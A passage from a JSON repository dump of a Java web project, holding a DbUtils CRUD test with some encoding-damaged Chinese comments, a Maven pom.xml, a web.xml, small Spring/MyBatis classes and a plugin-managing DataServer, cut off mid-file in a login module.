    "content": "package dbutils;\n\n\nimport java.io.File;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.sql.SQLException;\nimport java.util.Date;\nimport java.util.List;\n\nimport javax.sql.rowset.serial.SerialClob;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.junit.Test;\n\n\n/**\n*ResultSetHandler鎺ュ彛鐨勫疄鐜扮被\nArrayHandler锛氭妸缁撴灉闆嗕腑鐨勭涓�琛屾暟鎹浆鎴愬璞℃暟缁勩��\nArrayListHandler锛氭妸缁撴灉闆嗕腑鐨勬瘡涓�琛屾暟鎹兘杞垚涓�涓暟缁勶紝鍐嶅瓨鏀惧埌List涓��\nBeanHandler锛氬皢缁撴灉闆嗕腑鐨勭涓�琛屾暟鎹皝瑁呭埌涓�涓搴旂殑JavaBean瀹炰緥涓��\nBeanListHandler锛氬皢缁撴灉闆嗕腑鐨勬瘡涓�琛屾暟鎹兘灏佽鍒颁竴涓搴旂殑JavaBean瀹炰緥涓紝瀛樻斁鍒癓ist閲屻��\nColumnListHandler锛氬皢缁撴灉闆嗕腑鏌愪竴鍒楃殑鏁版嵁瀛樻斁鍒癓ist涓��\nKeyedHandler(name)锛氬皢缁撴灉闆嗕腑鐨勬瘡涓�琛屾暟鎹兘灏佽鍒颁竴涓狹ap閲岋紝鍐嶆妸杩欎簺map鍐嶅瓨鍒颁竴涓猰ap閲岋紝鍏秌ey涓烘寚瀹氱殑key銆�\nMapHandler锛氬皢缁撴灉闆嗕腑鐨勭涓�琛屾暟鎹皝瑁呭埌涓�涓狹ap閲岋紝key鏄垪鍚嶏紝value灏辨槸瀵瑰簲鐨勫�笺��\nMapListHandler锛氬皢缁撴灉闆嗕腑鐨勬瘡涓�琛屾暟鎹兘灏佽鍒颁竴涓狹ap閲岋紝鐒跺悗鍐嶅瓨鏀惧埌List\n*/ \n\npublic class QueryRunnerCRUDTest {\n\n    /*\n     *娴嬭瘯琛�\n     create table users(\n         id int primary key auto_increment, \n         name varchar(40),\n         password varchar(40), \n         email varchar(60), \n         birthday date \n     );\n     */\n    \n    @Test\n    public void add() throws SQLException {\n        //灏嗘暟鎹簮浼犻�掔粰QueryRunner锛孮ueryRunner鍐呴儴閫氳繃鏁版嵁婧愯幏鍙栨暟鎹簱杩炴帴\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"insert into users(name,password,email,birthday) values(?,?,?,?)\";\n        Object params[] = {\"1111\",\"11122\", \"gacl@sina.com\", new Date()};\n        //Object params[] = {\"鐧借檸绁炵殗\",\"123\", \"gacl@sina.com\", \"1988-05-07\"};\n        qr.update(sql, params);\n    }\n    \n    @Test\n    public void delete() throws SQLException {\n\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"delete from users where id=?\";\n        qr.update(sql, 1);\n\n    }\n\n    @Test\n    public void update() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"update users set name=? where id=?\";\n        Object params[] = { \"ddd\", 5};\n        qr.update(sql, params);\n    }\n\n    @Test\n    public void find() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users where id=?\";\n        Object params[] = {2};\n//        User user = (User) qr.query(sql, params, new BeanHandler(User.class));\n//        System.out.println(user.getBirthday());\n    }\n\n    @Test\n    public void getAll() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n//        List list = (List) qr.query(sql, new BeanListHandler(User.class));\n//        System.out.println(list.size());\n    }\n\n    /**\n    * @Method: testBatch\n    * @Description:鎵瑰鐞�\n    * @Anthor:瀛ゅ偛鑻嶇嫾\n    *\n    * @throws SQLException\n    */ \n    @Test\n    public void testBatch() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"insert into users(name,password,email,birthday) values(?,?,?,?)\";\n        Object params[][] = new Object[10][];\n        for (int i = 0; i < 10; i++) {\n            params[i] = new Object[] { \"aa\" + i, \"123\", \"aa@sina.com\",\n                    new Date() };\n        }\n        qr.batch(sql, params);\n    }\n    \n    //鐢╠butils瀹屾垚澶ф暟鎹紙涓嶅缓璁敤锛�\n    /***************************************************************************\n     create table testclob\n     (\n         id int primary key auto_increment,\n         resume text\n     );\n     **************************************************************************/\n    @Test\n    public void testclob() throws SQLException, IOException{\n        QueryRunner runner = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"insert into testclob(resume) values(?)\";  //clob\n        //杩欑鏂瑰紡鑾峰彇鐨勮矾寰勶紝鍏朵腑鐨勭┖鏍间細琚娇鐢ㄢ��%20鈥濅唬鏇�\n        String path  = QueryRunnerCRUDTest.class.getClassLoader().getResource(\"data.xml\").getPath();\n        //灏嗏��%20鈥濇浛鎹㈠洖绌烘牸\n        path = path.replaceAll(\"%20\", \" \");\n        FileReader in = new FileReader(path);\n        char[] buffer = new char[(int) new File(path).length()];\n        in.read(buffer);\n        SerialClob clob = new SerialClob(buffer);\n        Object params[] = {clob};\n        runner.update(sql, params);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservice/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_webservice</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t<spring.version>5.0.2.RELEASE</spring.version>\n\t\t<slf4j.version>1.6.6</slf4j.version>\n\t\t<log4j.version>1.2.12</log4j.version>\n\t\t<oracle.version>11.2.0.1.0</oracle.version>\n\t\t<mybatis.version>3.4.5</mybatis.version>\n\t\t<spring.security.version>5.0.1.RELEASE</spring.security.version>\n\t\t<log4j2.version>2.9.1</log4j2.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- slf4j api核心jar -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.25</version>\n\t\t</dependency>\n\n\t\t<!--用于与slf4j保持桥接，slf4j到log4j2的适配层 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-slf4j-impl</artifactId>\n\t\t\t<version>${log4j2.version}</version>\n\t\t\t<!--设置scope为runtime是为了防止开发人员在代码中直接使用日志实现类 -->\n\t\t\t<scope>runtime</scope>\n\t\t\t<!--设置optional，是为了防止依赖引用该项目时，直接引入日志实现类 -->\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<!-- log4j2 核心jar，需要两个 一个core是实现，一个api是接口 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-core</artifactId>\n\t\t\t<version>${log4j2.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-api</artifactId>\n\t\t\t<version>${log4j2.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>io.spring.platform</groupId> -->\n\t\t<!-- <artifactId>platform-bom</artifactId> -->\n\t\t<!-- <version>Cairo-RELEASE</version> -->\n\t\t<!-- <scope>import</scope> -->\n\t\t<!-- <type>pom</type> -->\n\t\t<!-- </dependency> -->\n\n\t\t<dependency>\n\t\t\t<groupId>org.aspectj</groupId>\n\t\t\t<artifactId>aspectjweaver</artifactId>\n\t\t\t<version>1.6.8</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-aop</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context-support</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-web</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-orm</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-webmvc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-tx</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet.jsp</groupId>\n\t\t\t<artifactId>jsp-api</artifactId>\n\t\t\t<version>2.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>jstl</groupId>\n\t\t\t<artifactId>jstl</artifactId>\n\t\t\t<version>1.2</version>\n\t\t</dependency>\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>org.apache.logging.log4j</groupId> -->\n\t\t<!-- <artifactId>log4j-slf4j-impl</artifactId> -->\n\t\t<!-- <scope>runtime</scope> -->\n\t\t<!-- <optional>true</optional> -->\n\t\t<!-- </dependency> -->\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>org.apache.logging.log4j</groupId> -->\n\t\t<!-- <artifactId>log4j-core</artifactId> -->\n\t\t<!-- <scope>runtime</scope> -->\n\t\t<!-- <optional>true</optional> -->\n\t\t<!-- </dependency> -->\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>org.slf4j</groupId> -->\n\t\t<!-- <artifactId>slf4j-api</artifactId> -->\n\t\t<!-- <optional>true</optional> -->\n\t\t<!-- </dependency> -->\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis</artifactId>\n\t\t\t<version>${mybatis.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis-spring</artifactId>\n\t\t\t<version>1.3.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.github.pagehelper</groupId>\n\t\t\t<artifactId>pagehelper</artifactId>\n\t\t\t<version>5.1.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-web</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-config</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-core</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.security</groupId>\n\t\t\t<artifactId>spring-security-taglibs</artifactId>\n\t\t\t<version>${spring.security.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.46</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.1.19</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.annotation</groupId>\n\t\t\t<artifactId>jsr250-api</artifactId>\n\t\t\t<version>1.0</version>\n\t\t</dependency>\n\n\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_log</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\"\n         xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\"\n         version=\"2.5\">\n    <display-name>Archetype Created Web Application</display-name>\n    <welcome-file-list>\n        <welcome-file>index.html</welcome-file>\n        <welcome-file>index.htm</welcome-file>\n        <welcome-file>index.jsp</welcome-file>\n        <welcome-file>default.html</welcome-file>\n        <welcome-file>default.htm</welcome-file>\n        <welcome-file>default.jsp</welcome-file>\n    </welcome-file-list>\n\n\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/com/zhu/webservice/bean/UserBean.java",
    "content": "package com.zhu.webservice.bean;\n\npublic class UserBean {\n\tint uid;\n\tString username;\n\tString password;\n\n\tpublic int getUid() {\n\t\treturn uid;\n\t}\n\n\tpublic void setUid(int uid) {\n\t\tthis.uid = uid;\n\t}\n\n\tpublic String getUsername() {\n\t\treturn username;\n\t}\n\n\tpublic void setUsername(String username) {\n\t\tthis.username = username;\n\t}\n\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/com/zhu/webservice/controller/LoginController.java",
    "content": "package com.zhu.webservice.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\nimport com.zhu.webservice.service.ILoginService;\n\n@Controller\n@RequestMapping(\"/login\")\npublic class LoginController {\n\t\n\t@Autowired\n\tILoginService loginService;\n\t\n\t@RequestMapping(\"/login\")\n\tpublic String showView() {\n\t\tSystem.out.print(\"45\");\n\t\treturn \"helloWorld\";\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/com/zhu/webservice/dao/IUserOperate.java",
    "content": "package com.zhu.webservice.dao;\n\nimport org.apache.ibatis.annotations.Select;\nimport org.springframework.stereotype.Repository;\n\nimport com.zhu.webservice.bean.UserBean;\n\n@Repository\npublic interface IUserOperate {\n    @Select(\"select * from t_user where uid=#{id}\")\n\tpublic UserBean selectUserByID(int id);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/com/zhu/webservice/service/ILoginService.java",
    "content": "package com.zhu.webservice.service;\n\nimport org.springframework.stereotype.Service;\n\nimport com.zhu.webservice.bean.UserBean;\n\n@Service\npublic interface ILoginService {\n\n\tpublic abstract UserBean searchUser(UserBean user);\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/com/zhu/webservice/service/impl/LoginServiceImpl.java",
    "content": "package com.zhu.webservice.service.impl;\n\nimport com.zhu.webservice.bean.UserBean;\nimport com.zhu.webservice.dao.IUserOperate;\nimport com.zhu.webservice.service.ILoginService;\n\npublic class LoginServiceImpl implements ILoginService {\n\tIUserOperate userOperate;\n\n\t@Override\n\tpublic UserBean searchUser(UserBean user) {\n\t\treturn userOperate.selectUserByID(user.getUid());\n\t}\n\t \n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/ServletModule.java",
    "content": "package com.techsoft;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.fileupload.FileItem;\n\npublic interface ServletModule {\n\n\tpublic static String JSONP = \"callback\";\n\n\tpublic String getName();\n\n\tpublic void process(Map<String, Object> in, boolean isMultiPart,\n\t\t\tInputStream inputs, OutputStream outs, List<FileItem> list,\n\t\t\tMap<String, Object> result, DataConverter dataConverter)\n\t\t\tthrows TechException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/TechException.java",
    "content": "package com.techsoft;\n\npublic class TechException extends Exception {\n\tprivate static final long serialVersionUID = -1456070014374034056L;\n\n\tpublic TechException() {\n\t\tsuper();\n\t}\n\n\tpublic TechException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic TechException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic TechException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/container/DataServer.java",
    "content": "package com.techsoft.container;\n\nimport java.io.File;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.techsoft.servlet.ConfigProperties;\nimport com.techsoft.ConnectionPool;\nimport com.techsoft.ConnectionPoolException;\nimport com.techsoft.ServletModule;\nimport com.techsoft.TechException;\nimport com.techsoft.modules.LoginModule;\nimport com.techsoft.modules.LogoutModule;\nimport com.techsoft.modules.QueryMetaModule;\nimport com.techsoft.modules.QueryModule;\nimport com.techsoft.modules.QueryParamModule;\nimport com.techsoft.modules.SaveModule;\nimport com.techsoft.plugins.PluginManager;\nimport com.techsoft.pool.ConnectionPoolFactory;\n\npublic class DataServer {\n\tprivate static final Logger Log = LoggerFactory.getLogger(DataServer.class);\n\tprivate static DataServer instance;\n\n\tprivate PluginManager pluginsManager;\n\tprivate File webHome;\n\tprivate Map<String, ServletModule> coreHandlers;\n\tprivate Map<String, Map<String, ServletModule>> pluginHandlers;\n\tprivate Map<String, Map<String, ServletModule>> newpluginHandlers;\n\tprivate ConfigProperties properties;\n\tprivate ConnectionPool pool;\n\tprivate boolean debug = false;\n\tprivate boolean started = false;\n\n\tpublic boolean isStarted() {\n\t\treturn started;\n\t}\n\n\tpublic void setDebug(boolean debug) {\n\t\tthis.debug = debug;\n\t}\n\n\tpublic boolean isDebug() {\n\t\treturn debug;\n\t}\n\n\tpublic ConnectionPool getPool() {\n\t\treturn pool;\n\t}\n\n\tpublic ConfigProperties getProperties() {\n\t\treturn properties;\n\t}\n\n\tpublic PluginManager getPluginsManager() {\n\t\treturn pluginsManager;\n\t}\n\n\tpublic Map<String, ServletModule> getCoreHandlers() {\n\t\treturn coreHandlers;\n\t}\n\n\tpublic void addModule(ServletModule module) {\n\t\tcoreHandlers.put(module.getName().toLowerCase(), module);\n\t}\n\n\tprivate boolean isExistpluginHandlers(ServletModule module) {\n\t\tboolean result = false;\n\t\tMap<String, ServletModule> modules = null;\n\t\tServletModule iterModule = null;\n\t\tIterator<Map<String, ServletModule>> itermodules = pluginHandlers.values()\n\t\t\t\t.iterator();\n\t\twhile (itermodules.hasNext()) {\n\t\t\tmodules = itermodules.next();\n\t\t\tIterator<ServletModule> iter = modules.values().iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\titerModule = iter.next();\n\t\t\t\tif (iterModule.getName().equalsIgnoreCase(module.getName())) {\n\t\t\t\t\tresult = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tprivate boolean isExistnewPluginHandlers(ServletModule module) {\n\t\tboolean result = false;\n\t\tMap<String, ServletModule> modules = null;\n\t\tServletModule iterModule = null;\n\t\tIterator<Map<String, ServletModule>> itermodules = newpluginHandlers.values()\n\t\t\t\t.iterator();\n\t\twhile (itermodules.hasNext()) {\n\t\t\tmodules = itermodules.next();\n\t\t\tIterator<ServletModule> iter = modules.values().iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\titerModule = iter.next();\n\t\t\t\tif (iterModule.getName().equalsIgnoreCase(module.getName())) {\n\t\t\t\t\tresult = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic void addPluginModule(String pluginName, ServletModule module)\n\t\t\tthrows TechException {\n\t\tif (isExistpluginHandlers(module)) {\n\t\t\tif (!isExistnewPluginHandlers(module)) {\n\t\t\t\tMap<String, ServletModule> modules = null;\n\t\t\t\tif (newpluginHandlers.get(pluginName) == null) {\n\t\t\t\t\tmodules = new HashMap<String, ServletModule>();\n\t\t\t\t} else {\n\t\t\t\t\tmodules = newpluginHandlers.get(pluginName);\n\t\t\t\t}\n\t\t\t\tmodules.put(module.getName(), module);\n\t\t\t\tnewpluginHandlers.put(pluginName, modules);\n\t\t\t} else {\n\t\t\t\tLog.error(module.getName() + \"  此模块的的方法名称已经存在， 请修改模块名称!\");\n\t\t\t\tthrow new TechException(module.getName()\n\t\t\t\t\t\t+ \"  此模块的的方法名称已经存在， 请修改模块名称!\");\n\t\t\t}\n\t\t} else {\n\t\t\tMap<String, ServletModule> modules = null;\n\t\t\tif (pluginHandlers.get(pluginName) == null) {\n\t\t\t\tmodules = new HashMap<String, ServletModule>();\n\t\t\t} else {\n\t\t\t\tmodules = pluginHandlers.get(pluginName);\n\t\t\t}\n\t\t\tmodules.put(module.getName(), module);\n\t\t\tpluginHandlers.put(pluginName, modules);\n\t\t}\n\t}\n\n\tpublic ServletModule getPluginModuleByMethod(String methodName) {\n\t\tServletModule result = null;\n\t\tServletModule module = null;\n\t\tIterator<Map<String, ServletModule>> itermap = newpluginHandlers.values()\n\t\t\t\t.iterator();\n\t\tMap<String, ServletModule> map = null;\n\t\tIterator<ServletModule> iter = null;\n\t\twhile (itermap.hasNext()) {\n\t\t\tmap = itermap.next();\n\t\t\titer = map.values().iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tmodule = iter.next();\n\t\t\t\tif (module.getName().equalsIgnoreCase(methodName)) {\n\t\t\t\t\tresult = module;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (result == null) {\n\t\t\titermap = pluginHandlers.values().iterator();\n\t\t\twhile (itermap.hasNext()) {\n\t\t\t\tmap = itermap.next();\n\t\t\t\titer = map.values().iterator();\n\t\t\t\twhile (iter.hasNext()) {\n\t\t\t\t\tmodule = iter.next();\n\t\t\t\t\tif (module.getName().equalsIgnoreCase(methodName)) {\n\t\t\t\t\t\tresult = module;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic void removePluginModule(String pluginName) {\n\t\tif (pluginHandlers.get(pluginName) != null) {\n\t\t\tpluginHandlers.remove(pluginName);\n\t\t} else {\n\t\t\tnewpluginHandlers.remove(pluginName);\n\t\t}\n\t}\n\n\tpublic DataServer(File webHome) {\n\t\tif (instance != null) {\n\t\t\tLog.error(\"A server is already running\");\n\t\t\tthrow new IllegalStateException(\"A server is already running\");\n\t\t}\n\t\tthis.webHome = webHome;\n\t\tcoreHandlers = new ConcurrentHashMap<String, ServletModule>();\n\t\tpluginHandlers = new ConcurrentHashMap<String, Map<String, ServletModule>>();\n\t\tnewpluginHandlers = new ConcurrentHashMap<String, Map<String, ServletModule>>();\n\t\tproperties = new ConfigProperties(webHome);\n\n\t\tinstance = this;\n\t}\n\n\tpublic static DataServer getInstance() {\n\t\treturn instance;\n\t}\n\n\tpublic void start() {\n\t\tFile pluginDir = null;\n\t\tFile logdir = null;\n\t\tdebug = Boolean.parseBoolean(properties.getisDebug());\n\t\tInteger maxpool = 5;\n\t\tInteger minpool = 1;\n\t\tInteger initpool = 1;\n\t\ttry {\n\t\t\tmaxpool = Integer.valueOf(properties.getMaxPool());\n\t\t} catch (Exception e) {\n\t\t\tmaxpool = 5;\n\t\t}\n\t\ttry {\n\t\t\tminpool = Integer.valueOf(properties.getMinPool());\n\t\t} catch (Exception e) {\n\t\t\tminpool = 1;\n\t\t}\n\t\ttry {\n\t\t\tinitpool = Integer.valueOf(properties.getDefaultPool());\n\t\t} catch (Exception e) {\n\t\t\tinitpool = 1;\n\t\t}\n\n\t\ttry {\n\t\t\tpool = ConnectionPoolFactory.getInstance().getConnectionPool();\n\n\t\t\tpool.setDriverName(properties.getDriver());\n\t\t\tpool.setJdbcURL(properties.getURL());\n\t\t\tpool.setUserName(properties.getUser());\n\t\t\tpool.setPassword(properties.getPassword());\n\t\t\tpool.setMaxPool(maxpool);\n\t\t\tpool.setMinPool(minpool);\n\t\t\tpool.setInitPool(initpool);\n\t\t\tpool.setDatabaseType(properties.getDbtype());\n\t\t\ttry {\n\t\t\t\tpool.start();\n\n\t\t\t\tthis.addModule(QueryModule.getInstance());\n\t\t\t\tthis.addModule(SaveModule.getInstance());\n\t\t\t\tthis.addModule(LoginModule.getInstance());\n\t\t\t\tthis.addModule(LogoutModule.getInstance());\n\t\t\t\tthis.addModule(QueryParamModule.getInstance());\n\t\t\t\tthis.addModule(QueryMetaModule.getInstance());\n\t\t\t\tpluginDir = new File(webHome, \"plugins\");\n\t\t\t\tif (!pluginDir.exists()) {\n\t\t\t\t\tpluginDir.mkdirs();\n\t\t\t\t}\n\n\t\t\t\tlogdir = new File(webHome, \"logs\");\n\t\t\t\tif (!logdir.exists()) {\n\t\t\t\t\tlogdir.mkdirs();\n\t\t\t\t}\n\t\t\t\t// 必须等连接池启动完后才启动插件，因为插件有可能使用连接池\n\t\t\t\tpluginsManager = new PluginManager(pluginDir);\n\t\t\t\tpluginsManager.setIsDebug(debug);\n\t\t\t\tLog.info(\"pluginsManager debug is \"\n\t\t\t\t\t\t+ pluginsManager.getIsDebug());\n\t\t\t\tpluginsManager.start();\n\n\t\t\t\tstarted = true;\n\t\t\t} catch (ConnectionPoolException e) {\n\t\t\t\tthis.shutdown();\n\t\t\t\tLog.error(e.getMessage(), e);\n\t\t\t}\n\t\t} catch (ConnectionPoolException e) {\n\t\t\tthis.shutdown();\n\t\t\tLog.error(e.getMessage(), e);\n\t\t}\n\t}\n\n\tpublic void shutdown() {\n\t\tstarted = false;\n\t\tif (pluginsManager != null) {\n\t\t\tpluginsManager.shutdown();\n\t\t\tpluginsManager = null;\n\t\t}\n\n\t\tif (pool != null) {\n\t\t\ttry {\n\t\t\t\tpool.shutdown();\n\t\t\t} catch (Exception e) {\n\t\t\t\t// 这里可能会有内存问题\n\t\t\t\ttry {\n\t\t\t\t\tpool.shutdown();\n\t\t\t\t} catch (Exception e1) {\n\t\t\t\t\t//\n\t\t\t\t}\n\t\t\t}\n\t\t\tpool = null;\n\t\t}\n\t\tcoreHandlers.clear();\n\t\tpluginHandlers.clear();\n\t\tnewpluginHandlers.clear();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/modules/LoginModule.java",
    "content": "package com.techsoft.modules;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.fileupload.FileItem;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.techsoft.DataConverter;\nimport com.techsoft.ServletModule;\nimport com.techsoft.Session;\nimport com.techsoft.TechException;\nimport com.techsoft.session.SessionManager;\nimport com.techsoft.utils.DataSet;\n\npublic class LoginModule implements ServletModule {\n\tprivate static final Logger Log = LoggerFactory\n\t\t\t.getLogger(LoginModule.class);\n\tprivate static final String name = \"login\";\n\tprivate static LoginModule instance = null;\n\n\tprivate LoginModule() {\n\t}\n\n\tpublic static LoginModule getInstance() {\n\t\tif (instance == 